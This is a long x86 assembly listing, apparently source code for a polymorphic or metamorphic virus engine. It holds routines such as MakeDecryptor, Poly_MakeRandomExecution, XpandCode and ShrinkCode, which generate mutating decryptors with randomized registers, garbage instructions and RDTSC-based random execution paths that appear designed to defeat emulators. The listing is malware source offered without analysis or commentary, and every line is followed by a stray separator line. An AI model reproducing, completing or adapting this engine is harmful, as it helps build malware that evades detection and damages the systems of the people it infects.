|
|
mov eax, 8
|
|
mov [ebp+CounterRegister], eax
|
|
mov [ebp+BufferRegister], eax
|
|
|
|
mov ecx, [ebp+DeltaRegister]
|
|
mov [ebp+IndexRegister], ecx
|
|
xor ebx, ebx
|
|
call Poly_DoMOVRegMem
|
|
|
|
mov ecx, [ebp+Decryptor_DATA_SECTION]
|
|
add ecx, 10h
|
|
call Poly_DoCALLMem
|
|
|
|
call Poly_InsertLabel
|
|
|
|
|
|
mov edx, [ebp+Poly_Jump_ErrorInVirtualAlloc]
|
|
mov [edx+1], eax
|
|
mov edx, [ebp+Poly_JumpRandomExecution]
|
|
or edx, edx
|
|
jz @@DontSetJump
|
|
mov [edx+1], eax
|
|
|
|
@@DontSetJump:
|
|
call Poly_SelectThreeRegisters
|
|
xor edx, edx
|
|
call Poly_DoPUSHValue
|
|
|
|
mov ecx, [ebp+ExitProcessAddress]
|
|
call Poly_DoCALLMem
|
|
|
|
mov ebx, [ebp+VarMarksTable]
|
|
mov ecx, 2000h
|
|
xor eax, eax
|
|
@@LoopClearMarks:
|
|
mov [ebx], eax
|
|
add ebx, 4
|
|
sub ecx, 4
|
|
or ecx, ecx
|
|
jnz @@LoopClearMarks
|
|
|
|
mov [ebp+AddressOfLastInstruction], edi
|
|
mov eax, [ebp+OtherBuffers]
|
|
mov [ebp+JumpsTable], eax
|
|
add eax, 8000h
|
|
mov [ebp+FramesTable], eax
|
|
|
|
mov eax, [ebp+NewAssembledCode]
|
|
push eax
|
|
mov eax, [ebp+TranslatedDeltaRegister]
|
|
push eax
|
|
|
|
call XpandCode
|
|
|
|
mov eax, [ebp+InstructionTable]
|
|
mov [ebp+NewAssembledCode], eax
|
|
mov eax, [ebp+ExpansionResult]
|
|
mov [ebp+InstructionTable], eax
|
|
|
|
mov eax, [ebp+SizeOfNewCode]
|
|
push eax
|
|
mov eax, [ebp+RoundedSizeOfNewCode]
|
|
push eax
|
|
mov eax, [ebp+SizeOfNewCodeP2]
|
|
push eax
|
|
|
|
call AssembleCode
|
|
|
|
mov eax, [ebp+SizeOfNewCode]
|
|
mov [ebp+SizeOfDecryptor], eax
|
|
mov eax, [ebp+NewAssembledCode]
|
|
mov [ebp+AssembledDecryptor], eax
|
|
|
|
pop eax
|
|
mov [ebp+SizeOfNewCodeP2], eax
|
|
pop eax
|
|
mov [ebp+RoundedSizeOfNewCode], eax
|
|
pop eax
|
|
mov [ebp+SizeOfNewCode], eax
|
|
|
|
pop eax
|
|
mov [ebp+TranslatedDeltaRegister], eax
|
|
pop eax
|
|
mov [ebp+NewAssembledCode], eax
|
|
|
|
ret
|
|
MakeDecryptor endp
|
|
|
|
Poly_SetFunctionName proc
|
|
call Poly_SelectThreeRegisters
|
|
|
|
mov edx, [ebp+Poly_FirstPartOfFunction]
|
|
mov [ebp+IndexValue], edx
|
|
mov edx, [ebp+Poly_SecondPartOfFunction]
|
|
mov [ebp+BufferValue], edx
|
|
mov edx, [ebp+Poly_ThirdPartOfFunction]
|
|
mov [ebp+CounterValue], edx
|
|
|
|
call Poly_SetValueToRegisters
|
|
|
|
call Poly_SetPART_ONEtoMemory_GetStartAddress
|
|
mov ebx, eax
|
|
call Poly_SetPART_TWOtoMemory_GetStartAddress
|
|
mov ecx, eax
|
|
call Poly_SetPART_THREEtoMemory_GetStartAddress
|
|
mov edx, eax
|
|
call Poly_RandomCall
|
|
|
|
call Poly_SelectThreeRegisters
|
|
mov ecx, [ebp+IndexRegister]
|
|
xor edx, edx
|
|
call Poly_DoMOVRegValue
|
|
|
|
|
|
|
|
mov ebx, [ebp+AdditionToBuffer]
|
|
add ebx, 0Ch
|
|
mov ecx, [ebp+IndexRegister]
|
|
call Poly_DoMOVMemReg
|
|
ret
|
|
Poly_SetFunctionName endp
|
|
|
|
Poly_InsertLabel proc
|
|
mov eax, [ebp+LabelTable]
|
|
mov ecx, [ebp+NumberOfLabels]
|
|
or ecx, ecx
|
|
jz @@InsertLabel
|
|
@@LoopFindLabel:
|
|
cmp [eax], edi
|
|
jz @@LabelInserted
|
|
add eax, 8
|
|
sub ecx, 1
|
|
or ecx, ecx
|
|
jnz @@LoopFindLabel
|
|
@@InsertLabel:
|
|
mov [eax], edi
|
|
mov [eax+4], edi
|
|
mov ecx, [ebp+NumberOfLabels]
|
|
add ecx, 1
|
|
mov [ebp+NumberOfLabels], ecx
|
|
@@LabelInserted:
|
|
ret
|
|
Poly_InsertLabel endp
|
|
|
|
Poly_ModifyCounter proc
|
|
call Random
|
|
and eax, 3
|
|
add eax, 4
|
|
mov edx, eax
|
|
mov ecx, [ebp+CounterRegister]
|
|
call Poly_DoADDRegValue
|
|
ret
|
|
Poly_ModifyCounter endp
|
|
|
|
|
|
Poly_MaskIndex proc
|
|
mov ecx, [ebp+IndexRegister]
|
|
mov esi, 1
|
|
jmp Poly_MaskRegister
|
|
Poly_MaskIndex endp
|
|
|
|
|
|
|
|
Poly_ModifyIndex proc
|
|
mov edx, [ebp+Poly_Addition]
|
|
mov ecx, [ebp+IndexRegister]
|
|
call Poly_DoADDRegValue
|
|
ret
|
|
Poly_ModifyIndex endp
|
|
|
|
|
|
Poly_MaskRegister proc
|
|
mov eax, 20h
|
|
mov [edi], eax
|
|
mov [edi+1], ecx
|
|
call Random
|
|
mov ebx, [ebp+SizeOfNewCodeP2]
|
|
mov ecx, ebx
|
|
not ebx
|
|
and eax, ebx
|
|
sub ecx, esi
|
|
or eax, ecx
|
|
neg esi
|
|
and eax, esi
|
|
mov [edi+7], eax
|
|
add edi, 10h
|
|
ret
|
|
Poly_MaskRegister endp
|
|
|
|
|
|
Poly_MaskCounter proc
|
|
mov ecx, [ebp+CounterRegister]
|
|
mov esi, 4
|
|
jmp Poly_MaskRegister
|
|
Poly_MaskCounter endp
|
|
|
|
|
|
Poly_SelectThreeRegisters proc
|
|
mov eax, 8
|
|
mov [ebp+IndexRegister], eax
|
|
mov [ebp+BufferRegister], eax
|
|
mov [ebp+CounterRegister], eax
|
|
|
|
call Poly_GetAGarbageRegister
|
|
mov [ebp+IndexRegister], eax
|
|
call Poly_GetAGarbageRegister
|
|
mov [ebp+BufferRegister], eax
|
|
call Poly_GetAGarbageRegister
|
|
mov [ebp+CounterRegister], eax
|
|
ret
|
|
Poly_SelectThreeRegisters endp
|
|
|
|
|
|
|
|
Poly_SetValueToRegisters proc
|
|
call Poly_SetIndexValue_GetStartAddress
|
|
mov ebx, eax
|
|
call Poly_SetBufferValue_GetStartAddress
|
|
mov ecx, eax
|
|
call Poly_SetCounterValue_GetStartAddress
|
|
mov edx, eax
|
|
call Poly_RandomCall
|
|
ret
|
|
Poly_SetValueToRegisters endp
|
|
|
|
|
|
Poly_SetIndexValue_GetStartAddress:
|
|
call Poly_RandomCall_GetAddress
|
|
Poly_SetIndexValue proc
|
|
mov ecx, [ebp+IndexRegister]
|
|
mov edx, [ebp+IndexValue]
|
|
call Poly_DoMOVRegValue
|
|
ret
|
|
Poly_SetIndexValue endp
|
|
|
|
|
|
Poly_SetBufferValue_GetStartAddress:
|
|
call Poly_RandomCall_GetAddress
|
|
Poly_SetBufferValue proc
|
|
mov ecx, [ebp+BufferRegister]
|
|
mov edx, [ebp+BufferValue]
|
|
call Poly_DoMOVRegValue
|
|
ret
|
|
Poly_SetBufferValue endp
|
|
|
|
|
|
Poly_SetCounterValue_GetStartAddress:
|
|
call Poly_RandomCall_GetAddress
|
|
Poly_SetCounterValue proc
|
|
mov ecx, [ebp+CounterRegister]
|
|
mov edx, [ebp+CounterValue]
|
|
call Poly_DoMOVRegValue
|
|
ret
|
|
Poly_SetCounterValue endp
|
|
|
|
|
|
Poly_RandomCall_GetAddress proc
|
|
pop eax
|
|
ret
|
|
Poly_RandomCall_GetAddress endp
|
|
|
|
|
|
Poly_SetPART_ONEtoMemory_GetStartAddress:
|
|
call Poly_RandomCall_GetAddress
|
|
Poly_SetPART_ONEtoMemory proc
|
|
mov ecx, [ebp+IndexRegister]
|
|
mov ebx, [ebp+AdditionToBuffer]
|
|
call Poly_DoMOVMemReg
|
|
ret
|
|
Poly_SetPART_ONEtoMemory endp
|
|
|
|
Poly_SetPART_TWOtoMemory_GetStartAddress:
|
|
call Poly_RandomCall_GetAddress
|
|
Poly_SetPART_TWOtoMemory proc
|
|
mov ecx, [ebp+BufferRegister]
|
|
mov ebx, [ebp+AdditionToBuffer]
|
|
add ebx, 4
|
|
call Poly_DoMOVMemReg
|
|
ret
|
|
Poly_SetPART_TWOtoMemory endp
|
|
|
|
Poly_SetPART_THREEtoMemory_GetStartAddress:
|
|
call Poly_RandomCall_GetAddress
|
|
Poly_SetPART_THREEtoMemory proc
|
|
mov ecx, [ebp+CounterRegister]
|
|
mov ebx, [ebp+AdditionToBuffer]
|
|
add ebx, 8
|
|
call Poly_DoMOVMemReg
|
|
ret
|
|
Poly_SetPART_THREEtoMemory endp
|
|
|
|
Poly_RandomCall proc
|
|
mov esi, 5
|
|
@@Again: call Xp_GarbleRegisters
|
|
sub esi, 1
|
|
or esi, esi
|
|
jnz @@Again
|
|
or ebx, ebx
|
|
jz @@DontPush1st
|
|
push ebx
|
|
@@DontPush1st:
|
|
or ecx, ecx
|
|
jz @@DontPush2nd
|
|
push ecx
|
|
@@DontPush2nd:
|
|
or edx, edx
|
|
jz @@DontPush3rd
|
|
push edx
|
|
@@DontPush3rd:
|
|
ret
|
|
Poly_RandomCall endp
|
|
|
|
Poly_DoADDRegValue proc
|
|
mov eax, 3
|
|
call Random
|
|
and eax, 1
|
|
jz @@Direct
|
|
mov eax, 40h
|
|
mov [edi], eax
|
|
call Poly_GetAGarbageRegister
|
|
mov [edi+1], eax
|
|
mov ebx, eax
|
|
mov [edi+7], edx
|
|
add edi, 10h
|
|
mov eax, 01h
|
|
mov [edi], eax
|
|
mov [edi+1], ebx
|
|
mov [edi+7], ecx
|
|
add edi, 10h
|
|
ret
|
|
@@Direct:
|
|
xor eax, eax
|
|
mov [edi], eax
|
|
mov [edi+1], ecx
|
|
mov [edi+7], edx
|
|
add edi, 10h
|
|
ret
|
|
Poly_DoADDRegValue endp
|
|
|
|
|
|
Poly_DoMOVRegValue proc
|
|
mov eax, 2
|
|
call Random
|
|
and eax, 1
|
|
jz @@Direct
|
|
call Poly_GetAGarbageRegister
|
|
push ecx
|
|
mov ecx, eax
|
|
call @@Direct
|
|
mov eax, 41h
|
|
mov [edi], eax
|
|
mov [edi+1], ecx
|
|
pop ecx
|
|
mov [edi+7], ecx
|
|
add edi, 10h
|
|
ret
|
|
@@Direct: mov eax, 40h
|
|
mov [edi], eax
|
|
mov [edi+1], ecx
|
|
mov [edi+7], edx
|
|
add edi, 10h
|
|
ret
|
|
Poly_DoMOVRegValue endp
|
|
|
|
|
|
Poly_DoXORRegReg proc
|
|
mov eax, 3
|
|
call Random
|
|
and eax, 1
|
|
jz @@Single
|
|
call Poly_GetAGarbageRegister
|
|
mov esi, eax
|
|
mov eax, 41h
|
|
mov [edi], eax
|
|
mov [edi+1], edx
|
|
mov [edi+7], esi
|
|
add edi, 10h
|
|
mov edx, esi
|
|
|
|
@@Single: mov eax, 31h
|
|
mov [edi], eax
|
|
mov [edi+1], edx
|
|
mov [edi+7], ecx
|
|
add edi, 10h
|
|
ret
|
|
Poly_DoXORRegReg endp
|
|
|
|
|
|
Poly_DoPUSHValue proc
|
|
mov eax, 2
|
|
call Random
|
|
and eax, 3
|
|
or eax, eax
|
|
jz @@Direct
|
|
mov eax, 40h
|
|
mov [edi], eax
|
|
call Poly_GetAGarbageRegister
|
|
mov [edi+1], eax
|
|
mov [edi+7], edx
|
|
add edi, 10h
|
|
mov ecx, eax
|
|
call Poly_DoPUSHReg
|
|
ret
|
|
|
|
@@Direct: mov eax, 68h
|
|
mov [edi], eax
|
|
mov [edi+7], edx
|
|
add edi, 10h
|
|
ret
|
|
Poly_DoPUSHValue endp
|
|
|
|
Poly_DoPUSHReg proc
|
|
mov eax, 50h
|
|
mov [edi], eax
|
|
mov [edi+1], ecx
|
|
add edi, 10h
|
|
ret
|
|
Poly_DoPUSHReg endp
|
|
|
|
Poly_DoPOPReg proc
|
|
mov eax, 58h
|
|
mov [edi], eax
|
|
mov [edi+1], ecx
|
|
add edi, 10h
|
|
ret
|
|
Poly_DoPOPReg endp
|
|
|
|
|
|
Poly_DoMOVMemReg proc
|
|
xor eax, eax
|
|
call Random
|
|
and eax, 1
|
|
jz @@Direct
|
|
mov eax, 41h
|
|
mov [edi], eax
|
|
mov [edi+1], ecx
|
|
call Poly_GetAGarbageRegister
|
|
mov ecx, eax
|
|
mov [edi+7], eax
|
|
add edi, 10h
|
|
|
|
@@Direct: mov eax, 43h
|
|
mov [edi], eax
|
|
mov eax, 0808h
|
|
mov [edi+1], eax
|
|
mov eax, ebx
|
|
add eax, [ebp+Decryptor_DATA_SECTION]
|
|
mov [edi+3], eax
|
|
mov [edi+7], ecx
|
|
add edi, 10h
|
|
ret
|
|
Poly_DoMOVMemReg endp
|
|
|
|
|
|
Poly_DoMOVRegMem proc
|
|
mov eax, 1
|
|
call Random
|
|
and eax, 1
|
|
jz @@Direct
|
|
push ecx
|
|
call Poly_GetAGarbageRegister
|
|
mov ecx, eax
|
|
call @@Direct
|
|
mov eax, 41h
|
|
mov [edi], eax
|
|
mov [edi+1], ecx
|
|
pop ecx
|
|
mov [edi+7], ecx
|
|
add edi, 10h
|
|
ret
|
|
|
|
@@Direct: mov eax, 42h
|
|
mov [edi], eax
|
|
mov eax, 0808h
|
|
mov [edi+1], eax
|
|
mov eax, ebx
|
|
add eax, [ebp+Decryptor_DATA_SECTION]
|
|
mov [edi+3], eax
|
|
mov [edi+7], ecx
|
|
add edi, 10h
|
|
ret
|
|
Poly_DoMOVRegMem endp
|
|
|
|
|
|
Poly_MakeCheckWith0 proc
|
|
xor eax, eax
|
|
call Random
|
|
and eax, 1
|
|
jnz @@Single
|
|
mov eax, 40h
|
|
mov [edi], eax
|
|
call Poly_GetAGarbageRegister
|
|
mov [edi+1], eax
|
|
xor ebx, ebx
|
|
mov [edi+7], ebx
|
|
add edi, 10h
|
|
mov ebx, 39h
|
|
mov [edi], ebx
|
|
mov [edi+1], eax
|
|
mov [edi+7], ecx
|
|
add edi, 10h
|
|
ret
|
|
|
|
@@Single: mov eax, 38h
|
|
mov [edi], eax
|
|
mov [edi+1], ecx
|
|
xor eax, eax
|
|
mov [edi+7], eax
|
|
add edi, 10h
|
|
ret
|
|
Poly_MakeCheckWith0 endp
|
|
|
|
Poly_GetAGarbageRegister proc
|
|
@@Again: call Random
|
|
and eax, 7
|
|
cmp eax, [ebp+IndexRegister]
|
|
jz @@Again
|
|
cmp eax, [ebp+CounterRegister]
|
|
jz @@Again
|
|
cmp eax, [ebp+BufferRegister]
|
|
jz @@Again
|
|
cmp eax, 4
|
|
jz @@Again
|
|
ret
|
|
Poly_GetAGarbageRegister endp
|
|
|
|
Poly_GetGarbageOneByter proc
|
|
call Random
|
|
and eax, 7
|
|
add eax, 0F8h
|
|
cmp eax, 0FAh
|
|
jz @@ReturnCMC
|
|
cmp eax, 0FDh
|
|
jz @@ReturnNOP
|
|
cmp eax, 0FEh
|
|
jb @@Return
|
|
@@ReturnNOP:
|
|
mov eax, 90h
|
|
@@Return: ret
|
|
@@ReturnCMC:
|
|
mov eax, 0F5h
|
|
ret
|
|
Poly_GetGarbageOneByter endp
|
|
|
|
|
|
Poly_MakeRandomExecution proc
|
|
call Random
|
|
and eax, 3
|
|
jnz @@Normal
|
|
call Poly_SelectThreeRegisters
|
|
mov ecx, [ebp+IndexRegister]
|
|
mov edx, [ebp+Decryptor_DATA_SECTION]
|
|
call Random
|
|
and eax, 1Ch
|
|
add edx, eax
|
|
cmp eax, 1Ch
|
|
jz @@DontAddMore
|
|
call Random
|
|
and eax, 3
|
|
add edx, eax
|
|
@@DontAddMore:
|
|
call Poly_DoMOVRegValue
|
|
call Random
|
|
push eax
|
|
mov edx, eax
|
|
mov ecx, [ebp+BufferRegister]
|
|
call Poly_DoMOVRegValue
|
|
@@RDTSC_Option0:
|
|
mov eax, 3
|
|
call Random
|
|
and eax, 1
|
|
jz @@RDTSC_Option2
|
|
xor eax, eax
|
|
call Random
|
|
and eax, 1
|
|
jz @@RDTSC_Option3
|
|
@@RDTSC_Option1:
|
|
call Random
|
|
and eax, 0FF000000h
|
|
add eax, 000C3310Fh
|
|
jmp @@RDTSC_SetInstruction
|
|
@@RDTSC_Option2:
|
|
call Poly_GetGarbageOneByter
|
|
|
|
add eax, 0C3310F00h
|
|
jmp @@RDTSC_SetInstruction
|
|
@@RDTSC_Option3:
|
|
call Poly_GetGarbageOneByter
|
|
shl eax, 10h
|
|
add eax, 0C300310Fh
|
|
@@RDTSC_SetInstruction:
|
|
mov edx, eax
|
|
pop eax
|
|
sub edx, eax
|
|
mov ecx, [ebp+BufferRegister]
|
|
call Poly_DoADDRegValue
|
|
|
|
|
|
mov eax, 43h
|
|
mov [edi], eax
|
|
mov eax, 0800h
|
|
add eax, [ebp+IndexRegister]
|
|
mov [edi+1], eax
|
|
xor eax, eax
|
|
mov [edi+3], eax
|
|
mov eax, [ebp+BufferRegister]
|
|
mov [edi+7], eax
|
|
add edi, 10h
|
|
|
|
mov eax, 0ECh
|
|
mov [edi], eax
|
|
mov eax, [ebp+IndexRegister]
|
|
mov [edi+1], eax
|
|
add edi, 10h
|
|
|
|
xor eax, eax
|
|
mov [ebp+IndexRegister], eax
|
|
mov eax, 8
|
|
mov [ebp+BufferRegister], eax
|
|
mov [ebp+CounterRegister], eax
|
|
|
|
mov eax, 1
|
|
call Random
|
|
and eax, 1
|
|
jz @@DirectTEST
|
|
@@ANDandCheck:
|
|
mov eax, 20h
|
|
mov [edi], eax
|
|
xor eax, eax
|
|
call Xpand_ReverseTranslation
|
|
mov [edi+1], eax
|
|
call @@GetARandomPowerOf2
|
|
mov [edi+7], edx
|
|
add edi, 10h
|
|
|
|
xor eax, eax
|
|
call Xpand_ReverseTranslation
|
|
mov ecx, eax
|
|
call Poly_MakeCheckWith0
|
|
@@SetTheJump:
|
|
mov eax, 2
|
|
call Random
|
|
and eax, 1
|
|
add eax, 74h
|
|
mov [edi], eax
|
|
mov [ebp+Poly_JumpRandomExecution], edi
|
|
add edi, 10h
|
|
ret
|
|
|
|
@@DirectTEST:
|
|
mov eax, 48h
|
|
mov [edi], eax
|
|
xor eax, eax
|
|
call Xpand_ReverseTranslation
|
|
mov [edi+1], eax
|
|
call @@GetARandomPowerOf2
|
|
mov [edi+7], edx
|
|
add edi, 10h
|
|
jmp @@SetTheJump
|
|
|
|
@@Normal: xor eax, eax
|
|
mov [ebp+Poly_JumpRandomExecution], eax
|
|
ret
|
|
|
|
@@GetARandomPowerOf2:
|
|
call Random
|
|
and eax, 1Fh
|
|
mov edx, 1
|
|
@@LoopRotate:
|
|
or eax, eax
|
|
jz @@RotateFinish
|
|
shl edx, 1
|
|
sub eax, 1
|
|
jmp @@LoopRotate
|
|
@@RotateFinish:
|
|
ret
|
|
Poly_MakeRandomExecution endp
|
|
|
|
|
|
|
|
Poly_DoCALLMem proc
|
|
mov eax, 1
|
|
call Random
|
|
and eax, 1
|
|
jz @@Single
|
|
mov eax, 40h
|
|
mov [edi], eax
|
|
call Poly_GetAGarbageRegister
|
|
mov ebx, eax
|
|
mov [edi+1], eax
|
|
mov [edi+7], ecx
|
|
add edi, 10h
|
|
mov eax, 0EAh
|
|
mov [edi], eax
|
|
mov eax, 0800h
|
|
add eax, ebx
|
|
mov [edi+1], eax
|
|
xor eax, eax
|
|
mov [edi+3], eax
|
|
add edi, 10h
|
|
ret
|
|
@@Single: mov eax, 0EAh
|
|
mov [edi], eax
|
|
mov eax, 0808h
|
|
mov [edi+1], eax
|
|
mov [edi+3], ecx
|
|
add edi, 10h
|
|
ret
|
|
Poly_DoCALLMem endp
|
|
|
|
|
|
;---------------------------------------------------------------------------------------
|
|
|
|
ShrinkCode proc
|
|
mov edi, [ebp+InstructionTable]
|
|
mov eax, [edi]
|
|
and eax, 0FFh
|
|
call CheckIfInstructionUsesMem
|
|
or eax, eax
|
|
jz @@Shrink
|
|
call OrderRegs
|
|
|
|
@@Shrink: mov eax, [edi]
|
|
and eax, 0FFh
|
|
cmp eax, 0FFh
|
|
jz @@IncreaseEIP
|
|
call ShrinkThisInstructions
|
|
|
|
or eax, eax
|
|
jz @@IncreaseEIP
|
|
call DecreaseEIP
|
|
call DecreaseEIP
|
|
call DecreaseEIP
|
|
jmp @@Shrink
|
|
|
|
@@IncreaseEIP:
|
|
call IncreaseEIP
|
|
cmp edi, [ebp+AddressOfLastInstruction]
|
|
jnz @@Shrink
|
|
|
|
@@DecreaseAddressOfLastInstruction:
|
|
sub edi, 10h
|
|
mov eax, [edi]
|
|
and eax, 0FFh
|
|
cmp eax, 0FFh
|
|
jnz @@LastInstructionOK
|
|
mov [ebp+AddressOfLastInstruction], edi
|
|
jmp @@DecreaseAddressOfLastInstruction
|
|
@@LastInstructionOK:
|
|
|
|
|
|
mov edi, [ebp+InstructionTable]
|
|
|
|
@@FindAPICALL_X:
|
|
@@GetFirstInstruction:
|
|
call IncreaseEIP2
|
|
cmp eax, -1
|
|
jz @@EndOfScan
|
|
|
|
mov eax, [edi]
|
|
and eax, 0FFh
|
|
cmp eax, 50h
|
|
jnz @@ItsNot_SET_WEIGHT
|
|
push edi
|
|
mov esi, edi
|
|
|
|
call IncreaseEIP2
|
|
or eax, eax
|
|
jnz @@ItsNot_SET_WEIGHT_2
|
|
mov eax, [edi]
|
|
and eax, 0FFh
|
|
cmp eax, 40h
|
|
jnz @@ItsNot_SET_WEIGHT_2
|
|
mov edx, edi
|
|
|
|
call IncreaseEIP2
|
|
or eax, eax
|
|
jnz @@ItsNot_SET_WEIGHT_2
|
|
mov eax, [edi]
|
|
and eax, 0FFh
|
|
cmp eax, 40h
|
|
jnz @@ItsNot_SET_WEIGHT_2
|
|
mov ecx, edi
|
|
|
|
call IncreaseEIP2
|
|
or eax, eax
|
|
jnz @@ItsNot_SET_WEIGHT_2
|
|
mov eax, [edi]
|
|
and eax, 0FFh
|
|
cmp eax, 43h
|
|
jnz @@ItsNot_SET_WEIGHT_2
|
|
mov ebx, edi
|
|
|
|
call IncreaseEIP2
|
|
or eax, eax
|
|
jnz @@ItsNot_SET_WEIGHT_2
|
|
mov eax, [edi]
|
|
and eax, 0FFh
|
|
cmp eax, 58h
|
|
jnz @@ItsNot_SET_WEIGHT_2
|
|
|
|
mov eax, [esi+1]
|
|
and eax, 0FFh
|
|
mov esi, eax
|
|
mov eax, [edx+1]
|
|
and eax, 0FFh
|
|
cmp eax, esi
|
|
jnz @@ItsNot_SET_WEIGHT_2
|
|
mov eax, [edi+1]
|
|
and eax, 0FFh
|
|
cmp eax, esi
|
|
jnz @@ItsNot_SET_WEIGHT_2
|
|
mov esi, [ecx+1]
|
|
and esi, 0FFh
|
|
mov eax, [ebx+7]
|
|
and eax, 0FFh
|
|
cmp eax, esi
|
|
jnz @@ItsNot_SET_WEIGHT_2
|
|
pop esi
|
|
mov eax, 0F7h
|
|
mov [esi], al
|
|
mov eax, [esi+1]
|
|
mov [esi+9], al
|
|
mov eax, [ebx+1]
|
|
mov [esi+1], eax
|
|
mov eax, [ebx+3]
|
|
mov [esi+3], eax
|
|
mov eax, [edx+7]
|
|
mov [esi+7], al
|
|
mov eax, [ecx+1]
|
|
mov [esi+8], al
|
|
mov eax, 0FFh
|
|
mov [edx], eax
|
|
mov [ecx], eax
|
|
mov [ebx], eax
|
|
mov [edi], eax
|
|
jmp @@AllOK
|
|
@@ItsNot_SET_WEIGHT_2:
|
|
pop edi
|
|
@@ItsNot_SET_WEIGHT:
|
|
@@AllOK:
|
|
|
|
|
|
@@CheckAPICALL_X:
|
|
|
|
mov edx, edi
|
|
push edi
|
|
|
|
@@GetSecondInstruction:
|
|
call IncreaseEIP2
|
|
cmp eax, -1
|
|
jz @@EndOfScan
|
|
or eax, eax
|
|
jnz @@EndOfTriplet
|
|
mov esi, edi
|
|
|
|
@@GetThirdInstruction:
|
|
call IncreaseEIP2
|
|
cmp eax, -1
|
|
jz @@EndOfScan
|
|
or eax, eax
|
|
jnz @@EndOfTriplet
|
|
|
|
mov eax, [edx]
|
|
and eax, 0FFh
|
|
cmp eax, 50h
|
|
jnz @@FindAPICALL_END
|
|
mov eax, [esi]
|
|
and eax, 0FFh
|
|
cmp eax, 50h
|
|
jnz @@FindAPICALL_END
|
|
mov eax, [edi]
|
|
and eax, 0FFh
|
|
cmp eax, 50h
|
|
jnz @@FindAPICALL_END
|
|
mov eax, [edx+1]
|
|
and eax, 0FFh
|
|
or eax, eax
|
|
jnz @@FindAPICALL_END
|
|
mov eax, [esi+1]
|
|
and eax, 0FFh
|
|
cmp eax, 1
|
|
jnz @@FindAPICALL_END
|
|
mov eax, [edi+1]
|
|
and eax, 0FFh
|
|
cmp eax, 2
|
|
jnz @@FindAPICALL_END
|
|
mov eax, 0F4h
|
|
@@SetAPICALL_X:
|
|
mov [edx], eax
|
|
mov eax, 0FFh
|
|
mov [esi], eax
|
|
mov [edi], eax
|
|
jmp @@EndOfTriplet
|
|
|
|
@@FindAPICALL_END:
|
|
mov eax, [edx]
|
|
and eax, 0FFh
|
|
cmp eax, 58h
|
|
jnz @@EndOfTriplet
|
|
mov eax, [esi]
|
|
and eax, 0FFh
|
|
cmp eax, 58h
|
|
jnz @@EndOfTriplet
|
|
mov eax, [edi]
|
|
and eax, 0FFh
|
|
cmp eax, 58h
|
|
jnz @@EndOfTriplet
|
|
mov eax, [edx+1]
|
|
and eax, 0FFh
|
|
cmp eax, 2
|
|
jnz @@EndOfTriplet
|
|
mov eax, [esi+1]
|
|
and eax, 0FFh
|
|
cmp eax, 1
|
|
jnz @@EndOfTriplet
|
|
mov eax, [edi+1]
|
|
and eax, 0FFh
|
|
or eax, eax
|
|
jnz @@EndOfTriplet
|
|
mov eax, 0F5h
|
|
jmp @@SetAPICALL_X
|
|
|
|
@@EndOfTriplet:
|
|
pop edi
|
|
jmp @@FindAPICALL_X
|
|
|
|
@@EndOfScan:
|
|
pop edi
|
|
ret
|
|
ShrinkCode endp
|
|
|
|
DecreaseEIP proc
|
|
@@Again: cmp edi, [ebp+InstructionTable]
|
|
jz @@OK
|
|
mov eax, [edi+0Bh]
|
|
and eax, 0FFh
|
|
or eax, eax
|
|
jnz @@OK
|
|
sub edi, 10h
|
|
mov eax, [edi]
|
|
and eax, 0FFh
|
|
cmp eax, 0FFh
|
|
jz @@Again
|
|
@@OK: ret
|
|
DecreaseEIP endp
|
|
|
|
|
|
|
|
IncreaseEIP proc
|
|
mov ecx, [ebp+AddressOfLastInstruction]
|
|
cmp edi, ecx
|
|
jz @@_End
|
|
@@Again: add edi, 10h
|
|
cmp edi, ecx
|
|
jz @@_End
|
|
mov eax, [edi+0Bh]
|
|
and eax, 0FFh
|
|
or eax, eax
|
|
jnz @@End
|
|
mov eax, [edi]
|
|
and eax, 0FFh
|
|
cmp eax, 0FFh
|
|
jz @@Again
|
|
@@End: mov eax, [edi]
|
|
and eax, 0FFh
|
|
call CheckIfInstructionUsesMem
|
|
or eax, eax
|
|
jz @@_End
|
|
call OrderRegs
|
|
|
|
mov eax, [edi]
|
|
and eax, 0FFh
|
|
cmp eax, 4Fh
|
|
jnz @@_End
|
|
push edi
|
|
mov edi, [edi+7]
|
|
call OrderRegs
|
|
pop edi
|
|
@@_End: ret
|
|
IncreaseEIP endp
|
|
|
|
|
|
IncreaseEIP2 proc
|
|
cmp edi, [ebp+AddressOfLastInstruction]
|
|
jz @@EndOfScan
|
|
add edi, 10h
|
|
cmp edi, [ebp+AddressOfLastInstruction]
|
|
jz @@EndOfScan
|
|
mov eax, [edi]
|
|
and eax, 0FFh
|
|
cmp eax, 0FFh
|
|
jz IncreaseEIP2
|
|
mov eax, [edi+0Bh]
|
|
and eax, 0FFh
|
|
ret
|
|
@@EndOfScan:
|
|
mov eax, -1
|
|
ret
|
|
IncreaseEIP2 endp
|
|
|
|
|
|
|
|
ShrinkThisInstructions proc
|
|
push edi
|
|
@@Check_Single:
|
|
mov eax, [edi]
|
|
and eax, 0FFh
|
|
cmp eax, 30h
|
|
jnz @@Single_Next00
|
|
mov ecx, 0E0h
|
|
@@Single_Next_CommonXOR_s1:
|
|
mov eax, [edi+7]
|
|
@@Single_Next_CommonXOR_s1_2:
|
|
cmp eax, -1
|
|
jz @@Single_SetInstructionECX
|
|
@@Single_Next_CheckNulOP:
|
|
or eax, eax
|
|
jnz @@Single_End
|
|
jmp @@Single_SetNOP
|
|
@@Single_SetInstructionECX:
|
|
mov eax, ecx
|
|
jmp @@Single_SetInstruction
|
|
|
|
@@Single_Next00:
|
|
|
|
cmp eax, 34h
|
|
jnz @@Single_Next00_
|
|
mov ecx, 0E1h
|
|
jmp @@Single_Next_CommonXOR_s1
|
|
|
|
@@Single_Next00_:
|
|
cmp eax, 4Bh
|
|
jnz @@Single_Next00__
|
|
mov eax, 4Ah
|
|
jmp @@Single_SetInstruction
|
|
|
|
@@Single_Next00__:
|
|
cmp eax, 4Bh+80h
|
|
jnz @@Single_Next01
|
|
mov eax, 4Ah+80h
|
|
jmp @@Single_SetInstruction
|
|
|
|
@@Single_Next01:
|
|
cmp eax, 30h+80h
|
|
jnz @@Single_Next02
|
|
mov ecx, 0E2h
|
|
@@Single_Next01_GetSigned:
|
|
mov eax, [edi+7]
|
|
and eax, 0FFh
|
|
cmp eax, 80h
|
|
jb @@Single_Next01_NotSigned
|
|
add eax, 0FFFFFF00h
|
|
@@Single_Next01_NotSigned:
|
|
jmp @@Single_Next_CommonXOR_s1_2
|
|
|
|
@@Single_Next02:
|
|
cmp eax, 34h+80h
|
|
jnz @@Single_Next03
|
|
